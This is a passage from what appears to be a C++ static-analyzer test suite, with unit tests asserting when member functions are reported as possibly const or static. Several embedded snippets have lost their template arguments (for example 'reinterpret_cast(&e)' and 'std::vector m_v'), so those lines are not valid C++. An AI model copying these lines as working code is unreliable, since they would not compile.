\" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n 